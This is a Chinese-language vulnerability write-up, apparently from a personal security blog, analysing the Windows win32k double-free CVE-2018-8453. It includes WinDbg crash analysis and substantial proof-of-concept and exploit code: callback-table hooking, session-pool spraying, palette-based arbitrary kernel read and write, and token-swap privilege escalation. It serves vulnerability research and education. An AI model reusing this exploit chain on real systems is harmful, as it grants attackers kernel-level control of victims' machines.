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CVE-2018-8453是一种UAF类型的漏洞，漏洞产生的原因是win32kfull!NtUserSetWindowFNID函数在对窗口对象设置FNID时没有检查窗口对象是否已经被释放，导致可以对一个已经被释放了的窗口设置一个新的FNID。通过利用win32kfull!NtUserSetWindowFNID的这一缺陷，可以控制窗口对象销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数，从而可以在win32kfull!xxxSBTrackInit中实现对pSBTrack的Double Free。
配置漏洞触发环境
[+] win10 x64 1709
[+] windbg preview 1.0.2001.02001
BSOD分析
首先，我们将poc放入虚拟机中并运行，触发崩溃之后转到windbg中。先查看漏洞成因
程序试图释放一块已经释放了的pool，说明这是一个经典的Double Free漏洞。看一下这个pool的属性
这是一个0x80大小的session pool，划重点，这里后面要用到的。接着看一下调用关系
静态分析可知，win32kbase!Win32FreePool和win32kfull!Win32FreePoolImpl都是传递参数的工具人，将win32kfull!xxxSBTrackInit传入的参数传递给nt!ExFreePoolWithTag函数，所以我们还需要接着分析win32kfull!xxxSBTrackInit函数。
win32kfull!xxxSBTrackInit函数实现滚动条的鼠标跟随，当用户在一个滚动条按下左键（左键也是重点，后面会用）时，系统就会产生一个SBTrack结构保存用户鼠标的当前位置；用户松开鼠标时，系统会释放SBTrack结构。具体细节我们可以通过 Windows 2000 的源码来深入了解：
pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL)
return;
pSBTrack->hTimerSB = 0;
pSBTrack->fHitOld = FALSE;
pSBTrack->xxxpfnSB = xxxTrackBox;
pSBTrack->spwndTrack = NULL;
pSBTrack->spwndSB = NULL;
pSBTrack->spwndSBNotify = NULL;
Lock(&pSBTrack->spwndTrack, pwnd);
PWNDTOPSBTRACK(pwnd) = pSBTrack;
pSBTrack->fCtlSB = (!curArea);pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL)
return;
win32kfull!xxxSBTrackInit函数首先通过UserAllocPoolWithQuota函数申请一块内存来保存SBTrack的结构，将其保存在指针pSBTrack中，之后对SBTrack结构进行了一些初始化。
xxxSBTrackLoop(pwnd, lParam, pSBCalc);
while (ptiCurrent->pq->spwndCapture == pwnd) {
if (!xxxGetMessage(&msg, NULL, 0, 0)) {
// Note: after xxx, pSBTrack may no longer be valid
break;
}
if (!_CallMsgFilter(&msg, MSGF_SCROLLBAR)) {
cmd = msg.message;
if (msg.hwnd == HWq(pwnd) && ((cmd >= WM_MOUSEFIRST && cmd <=
WM_MOUSELAST) || (cmd >= WM_KEYFIRST &&
cmd <= WM_KEYLAST))) {
cmd = SystoChar(cmd, msg.lParam);
// After xxxWindowEvent, xxxpfnSB, xxxTranslateMessage or
// xxxDispatchMessage, re-evaluate pSBTrack.
REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");
if ((pSBTrack == NULL) || (NULL == (xxxpfnSB = pSBTrack->xxxpfnSB)))
// mode cancelled -- exit track loop
return;
(*xxxpfnSB)(pwnd, cmd, msg.wParam, msg.lParam, pSBCalc);
} else {
xxxTranslateMessage(&msg, 0);
xxxDispatchMessage(&msg);
}
}
}
接着调用xxxSBTrackLoop函数来循环处理用户的消息，该函数循环获取消息、判断消息、分发消息。当用户放开鼠标时，xxxSBTrackLoop停止追踪消息，退出之后释放pSBTrack指向的内存。
// After xxx, re-evaluate pSBTrack
REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");
if (pSBTrack) {
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndSB);
Unlock(&pSBTrack->spwndTrack);
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
xxxSBTrackLoop循环结束之后解引用了几个窗口的引用，然后释放掉pSBTrack指向的内存。
按理来说这里是不会报错的，以上这些操作都是正常流程，但double free的错误提示说明在pSBTrack被win32kfull!xxxSBTrackInit释放之前已经被偷偷释放过一次了，在哪里我们不得而知，先尝试下一个内存访问断点。
ba r8 ffff8d3dc1d2e9c0
断了几次都在申请内存的时候，最终，我们可以断在nt!ExFreePoolWithTag函数，该函数正打算释放pSTBrack，看起来和第二次释放没什么区别，但看一下堆栈就发现问题所在了。
这次释放发生在win32kbase!Win32FreePool释放pSBTrack之前，就是这次本不该发生的释放导致了Double Free的发生。先看最上面标记出来的代码，这次是一个xxxEndScrell函数调用了Win32FreePool，该函数源码如下
void xxxEndScroll(
PWND pwnd,
BOOL fCancel)
{
UINT oldcmd;
PSBTRACK pSBTrack;
CheckLock(pwnd);
UserAssert(!IsWinEventNotifyDeferred());
pSBTrack = PWNDTOPSBTRACK(pwnd);
if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) {
（省略部分内容）
pSBTrack->xxxpfnSB = NULL;
/*
* Unlock structure members so they are no longer holding down windows.
*/
Unlock(&pSBTrack->spwndSB);
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndTrack);
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
}
只要我们能够通过if的判断，那么就能成功释放pSBTrack。因为程序是单线程，所以创建的窗口都是用的原来的SBTrack，自然而然的，pSBTrack和pSBTrack->xxxpfnSB != NULL都可以通过。至于PtiCurrent()->pq->spwndCapture == pwnd可以通过调用SetCapture函数来直接设置。
xxxEndScroll函数的作用我们已经知道了，接着继续循着调用路径追溯
void xxxDWP_DoCancelMode(
PWND pwnd)
{
（省略）
if (pwndCapture == pwnd) {
PSBTRACK pSBTrack = PWNDTOPSBTRACK(pwnd);
if (pSBTrack && (pSBTrack->xxxpfnSB != NULL))
xxxEndScroll(pwnd, TRUE);
（省略）
继续往上追溯就到了win32kfull!xxxRealDefWindowProc。我们可以在对应的源码处看到一些有用的信息，如下
LRESULT xxxDefWindowProc(
PWND pwnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{
（省略）
case WM_CANCELMODE:
{
/*
* Terminate any modes the system might
* be in, such as scrollbar tracking, menu mode,
* button capture, etc.
*/
xxxDWP_DoCancelMode(pwnd);
}
break;
（省略）
如果xxxDefWindowProc函数收到了WM_CANCELMODE，就可以去执行xxxEndScroll来释放SBTrack结构。
至此，我们对这个漏洞已经有一个初步认识了，大概有以下情报
[+] 漏洞的成因是程序对一个0x80大小的session poll进行了两次释放
[+] 第一次释放发生在poc的fnDWORDHook中，通过调用xxxEndScroll函数来实现
[+] 第二次释放发生在xxxSBTrackInit函数，当xxxSBTrackLoop函数结束时会释放pSBTrackpoc分析
创建窗口
UINT CreateWindows(VOID) {
HINSTANCE hInstance;
WNDCLASS wndclass = { 0 };
{
hInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.cbClsExtra = 0x00;
wndclass.cbWndExtra = 0x08;
wndclass.lpszClassName = "case";
if (!RegisterClassA(&wndclass)) {
cout << "RegisterClass Error!" << endl;
return 1;
}
}
Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (!Window) {
cout << "Create Window Error!" << endl;
return 1;
}
//保存句柄在扩展内存中
SetWindowLongA(Window, 0, (ULONG)Window);
//WS_CHILD |
SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL);
cout << "Window:0x" << hex << Window << endl;
cout << "SrollBar:0x" << hex << SrollBar << endl;
}
注册窗口类并产生一个主窗口，以主窗口为父窗口再创建一个滚动条子控件。只注意两个地方就可以了，wndclass.cbWndExtra = 0x08和子窗口属性设置为WS_CHILD，后面分析的时候会讲原因。
回调函数Hook
//Windows10 1709 X64
VOID Hook_Init(VOID) {
DWORD OldType = 0;
ULONG64 KernelCallbackTable = *(ULONG64*)(PEB + 0x58);
VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType);
//fnDWORD
fnDword = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x02);
*(ULONG64*)(KernelCallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;
//xxxClientAllocWindowClassExtraBytes
xxxClientAllocWindowClassExtraBytes = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x7E);
//0x80
*(ULONG64*)(KernelCallbackTable + 0x08 * 0x7E) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook;
}
首先获得KernelCallbackTable的地址，至于为什么是PEB+0x58，可以通过在windbg下dt _PEB @$peb查看。VirtualProtect函数更改KernelCallbackTable表为可读可写可执行，这样我们可以直接通过赋值来修改其中的函数地址，这里我们修改了fnDWORD和xxxClientAllocWindowClassExtraBytes。
这两段代码是触发崩溃之前很重要的准备工作，但是有好多东西不明不白，你可能有以下问题
[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes？
[+] 为什么要设置wndclass.cbWndExtra = 0x08？
[+] 为什么要滚动条必须设置为WS_CHILD？这些问题都会在接下来的触发过程分析中得到解答。
触发过程分析
{
//Hook
Hook_Init();
Flag = 1;
//debug
DebugBreak();
//向滚动条发送点击消息
SendMessageA(SrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);
}
在执行完Hook_Init函数之后，我们的准备工作已经基本完成了。首先向滚动条发送WM_LBUTTONDOWN消息，滚动条会调用xxxSBTrack函数来实现滚动条的鼠标跟随并且用SBTrack来保存鼠标位置，之后会调用xxxSBTrackLoop循环获取鼠标消息。xxxSBTrackLoop循环会调用fnDWORD回调函数来回到R3，如果我们hook fnDWORD的话，就可以在xxxSBRrackInit函数执行期间进行一些额外的操作，这就是为什么hook fnDWORD的原因。额外操作具体如下
VOID fnDWORDHook(PMSG MSG) {
if (Flag) {
Flag = 0;
DestroyWindow(Window);
}
if (*((PULONG64)MSG + 1) == 0x70) {
cout << "SendMessage" << endl;
SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);
}
fnDword(MSG);
}
因为其他地方也可能会调用fnDWORD回调函数，所以我们通过if和fnDword(MSG)来维持hook之后的fnDWORD依然能正常运行。先看第一个if，通过Flag的值判断是否进入，这里我们调用DestroyWindow(Window)来释放父窗口。在windows 2000的源码中简单跟进了一下，我们得知DestroyWindow函数调用xxxDestroyWindow函数，xxxDestroyWindow又去调用xxxFreeWindow函数。在xxxFreeWindow函数中，我们观察一下cbWndExtra相关的内容
首先判断是否存在窗口扩展结构，如果存在的话则调用xxxClientFreeWindowClassExtraBytes函数释放窗口扩展空间，这就是为什么我们要设置wndclass.cbWndExtra = 0x08的原因。接着我们查看一下该函数的实现
这里调用了用户模式回调函数，是peb->KernelCallbackTable)[126]所在的地址，该处正好就是我们hook的
xxxClientAllocWindowClassExtraBytes。所以我们前面特地设置wndclass.cbWndExtra = 0x08和hook了xxxClientAllocWindowClassExtraBytes都是为了进入这个函数，然后调用我们的hook函数。
VOID xxxClientAllocWindowClassExtraBytesHook(PVOID MSG) {
if ((*(HWND*)*(HWND*)MSG) == Window) {
cout << "xxxClientAllocWindowClassExtraBytes" << endl;
//为什么要创建新滚动条控件呢,因为子滚动条控件的父窗口被释放后,无法获取到滚动条的内核地址了
New_SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);
NtUserSetWindowFNID(Window, 0x2A1);
SetCapture(New_SrollBar);
}
xxxClientAllocWindowClassExtraBytes(MSG);
}
在CreateWindows函数中，我们用SetWindowLongA(Window, 0, (ULONG)Window)将句柄保存在了扩展内存之中，现在利用句柄判断是否为父窗口调用了xxxClientAllocWindowClassExtraBytesHook函数。在if中，我们修改了FNID的值，看起来有点迷惑，为什么要设置这些似乎不相关的东西？我们需要回顾一下xxxSBTrackInit中的内容
if (pSBTrack) {
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndSB);
Unlock(&pSBTrack->spwndTrack);
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
在xxxSBLoop结束后，会对spwndSBNotify和主窗口的引用进行解引用。虽然父窗口已经被释放了，但子窗口还对父窗口有引用，所以相关的pool并没有被释放，但由于这是最后一个引用，HMAssignmentUnlock函数清除赋值锁的过程会减小对象的锁计数，在锁计数减小为0时调用HMUnlockObjectInternal销毁对象，销毁时调用win32k!ghati对应表项的销毁例程，并最终调用win32kfull!xxxDestroyWindow对窗口对象进行释放，这就是我们需要定义滚动条子控件的原因。
兜兜转转我们又回到了win32kfull!xxxDestroyWindow函数，刚刚已经分析过了，xxxDestroyWindow调用xxxFreeWindow来释放窗口，而FNID为释放窗口的Flag属性，我们把FNID修改为了0x2A1，正好可以通过下图的验证
过了验证之后我们会再一次调用fnDWORDHook函数并发送0x70的Message，回顾一下我们的fnDWORDHook
VOID fnDWORDHook(PMSG MSG) {
if (Flag) {
Flag = 0;
DestroyWindow(Window);
}
if (*((PULONG64)MSG + 1) == 0x70) {
cout << "SendMessage" << endl;
SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);
}
fnDword(MSG);
}
第二个if终于排上了用场，他负责发送一个WM_CANCELMODE消息。在分析BSOD的时候，我们已经分析了xxxEndScroll函数触发的条件，正好就是WM_CANCELMODE消息，这样一来，我们的pSBTrack就会被释放，接着再被win32kfull!SBTrackInit中的Win32FreePool释放，从而造成Double Free。
至此，我们刚刚提出的几个问题也全都解决了：
[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes？
答：我们可以通过SBTrackloop和xxxFreeWindow调用这两个回调函数，hook之后可以有两次返回r3进行操作的机会。
[+] 为什么要设置wndclass.cbWndExtra = 0x08？
答：为了回调xxxClientAllocWindowClassExtraBytes。
[+] 为什么要滚动条必须设置为WS_CHILD？
答：为了引用父窗口，这样才不会在DestroyWindow的时候被直接释放。触发流程示意图
exp分析
HMAssignmentUnlock的利用姿势
前面我们已经分析过了，在xxxSBTrackLoop循环结束之后，HMAssignmentUnlock函数对spwndSB（父窗口）解引用的时候会调用win32kfull!xxxDestroyWindow并最终释放SBTrack结构。
if (pSBTrack) {
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndSB); // 对主窗口解引用
Unlock(&pSBTrack->spwndTrack); // tagSBTrack解引用
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
注意Unlock(&pSBTrack->spwndTrack);，在解引用tagSBTrack之前，tagSBTrack结构已经被释放了，如果我们堆喷射很多个0x80大小的session来重引用tagSBTrack。
UCHAR MenuNames[0x100] = { 0 }, ClassName[0x50] = { 0 };
memset(MenuNames, 0x43, 0x80 - 0x20);
*(ULONG64*)((ULONG64)MenuNames + 0x10) = To_Where_A_Palette;
*(ULONG64*)((ULONG64)MenuNames + 0x08) = To_Where_A_Palette;
while (I < 0x1000) {
sprintf((char*)ClassName, "WindowUaf%d", I);
hInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.lpszMenuName = (LPCWSTR)MenuNames;
wndclass.lpszClassName = (LPCWSTR)ClassName;
if (!RegisterClassW(&wndclass)) {
cout << "RegisterClass Error!" << endl;
return 1;
}
我们分配了0x1000个TagCls结构，其中保存着指向lpszMenuName结构的指针，该结构作为0x80的session pool 正好复用tagSBTrack的内存，只要修改MenuNames的内容就可以执行HMAssignmentUnlock(任意值)了。
任意地址-1
HMAssignmentUnlock(任意值)看起来好像作用不大，我们先看看HMAssignmentUnlock函数内部实现
既然我们已经获得了HMAssignmentUnlock(任意值)，就等于是控制了rcx，函数内部对[[rcx]+8]减一，也就是我们已经获得了任意地址-1。
泄露PALETTE地址
memset(MenuNames, 0x43, 0x1000 - 10);
{
hInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.lpszMenuName = (LPCWSTR)MenuNames;
wndclass.lpszClassName = L"LEAKWS";
if (!RegisterClassW(&wndclass)) {
cout << "RegisterClass Error!" << endl;
return 1;
}
}
PALETTE调色板在Win10 1709没有开启Type ISOLaTion，而且同样是session pool，我们可以考虑修改该结构来达到任意地址读写。先通过MenuName创建一个0x1000的pool，这是为了取得lpszMenuName的地址，通过它我们可以得到PALETTE的地址。
//创建窗口在用户映射桌面堆的位置
PTagWnd = (ULONG64)HMValidateHandle(hwnd, 0x01);
UlClientDelta = (ULONG64)((*(ULONG64*)(PTagWnd + 0x20)) - (ULONG64)PTagWnd);
TagCls = (*(ULONG64*)(PTagWnd + 0xa8)) - UlClientDelta;
接着调用HMValidateHandle()函数获取tagWND的用户态桌面堆的地址，又因为tagWND结构中保存了自己在内核堆中的地址，我们可以获得一个相对偏移，通过这个偏移我们可以获取任意结构在内核桌面堆中的地址，又因为tagWND中保存着tagCLS的地址，我们可以算出tagCLS在用户态桌面堆的地址。有了tagCLS我们就可以在0x98的偏移地址找到MenuName，也就可以找到PALETTE的地址了。然后释放MenuName，这样内存就会被释放为Free状态，后面讲为什么要释放。
DestroyWindow(hwnd);
return *(ULONG64*)(TagCls + 0x98);
任意地址读写
现在我们有了目标地址，也有了任意地址-1，已经可以进行一些操作了。虽然靠这个任意地址-1为所欲为是不太可能，但是他可以帮我们构造攻击链，是的，忙活这么半天还只是在进行准备工作，具体攻击链如图所示
PALETTE中的cEntries为该结构的读写范围，pFirstColor是指向调色板项的指针，如果我们能扩大cEntries的范围，就能对pFirstColor进行读写，修改pFirstColor的值，然后就可以调用PALETTE相关的函数对内核数据进行任意读写了。
VOID GetPalette_Address(VOID) {
ULONG64 A_Palette_Address = NULL, B_Palette_Address = NULL;
Palette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));
memset(Palette, 0x42, sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));
Palette->palVersion = 0x0300;
Palette->palNumEntries = 0x1D5;
A_Palette_Address = GetMenuAddress();
cout << "A_Palette_Address:0x" << hex << A_Palette_Address << endl;
To_Where_A_Palette = A_Palette_Address + 0x2D - 8;
//内存缩紧
for (UINT I = 0; I < 0x1500; ++I) {
CreatePalette(Palette);
}
UnregisterClassW(L"LEAKWS", GetModuleHandleA(0));
Where_PALETTE = CreatePalette(Palette);
What_PALETTE = CreatePalette(Palette);
cout << "Where_PALETTE:0x" << hex << Where_PALETTE << endl;
cout << "What_PALETTE:0x" << hex << What_PALETTE << endl;
}
我们设置的cEntries的值为0x1d5，这会分配一个0x800大小的kernel pool，如果分配两个的话就会重新引用刚刚释放的0x1000内存，这样的话，修改cEntries造成OOB之后就可以对*pFirstColoe进行任意读写了。
HMAssignmentUnlock执行两次之后，cEntries的值已经被修改成了0xFFFFFFd5，足够我们进行操作了，通过 SetPaletteEntries() 以及 GetPaletteEntries() 函数即可在Ring3来任意内存读写，提权倒是很轻松了，修改Token就行了。
收尾工作
虽然刚刚的操作很是成功，但是BSOD还是会依旧触发，因为我们通过lpszMenuName引用了pSBTrack，在之后清理进程的时候依然会触发DoubleFree，会影响我们的利用。所以我们需要在UAF_80函数中将所有的IpszMenyNames都保存了起来，利用任意读写将保存lpszMenuName 的结构赋值为0，这样就不会有对pSBTrack的错误释放，而是会在xxxSBTrack的正常流程中仅仅释放一次。
VOID FMenuName(VOID) {
ULONG64 Zero = 0;
UCHAR Menu[0x20] = { 0 };
for (UINT I = 0; I < 0x1000; ++I) {
if (TagCls_Menu_Address[I] == 0) {
continue;
}
*(ULONG64*)Menu = TagCls_Menu_Address[I];
SetPaletteEntries(Where_PALETTE, 0x1DE + 0x1E, 2, (LPPALETTEENTRY)&Menu);
SetPaletteEntries(What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero);
}
}
至此，我们成功解决了Double Free和提权，大功告成了！
其他
我的博客：https://www.0x2l.cn/
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